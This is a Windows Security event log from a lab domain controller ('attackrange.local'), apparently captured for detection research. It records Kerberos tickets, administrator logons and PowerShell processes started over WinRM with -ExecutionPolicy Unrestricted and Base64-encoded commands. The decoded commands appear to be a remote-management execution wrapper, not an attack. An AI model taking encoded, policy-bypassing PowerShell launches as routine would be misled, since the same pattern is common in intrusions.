	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251155
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x135c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfcc
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251154
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x129AB7

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251153
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x129AB7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{451C6376-4C9F-3D22-E75E-B69135BFCBD8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251152
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{451C6376-4C9F-3D22-E75E-B69135BFCBD8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251151
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{451C6376-4C9F-3D22-E75E-B69135BFCBD8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251150
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251149
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfcc
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe70
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251148
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe70
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x61c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251147
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1298AA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251146
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1298AA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{451C6376-4C9F-3D22-E75E-B69135BFCBD8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251145
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{451C6376-4C9F-3D22-E75E-B69135BFCBD8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251144
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{451C6376-4C9F-3D22-E75E-B69135BFCBD8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251143
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251142
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12988E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251141
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12988E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
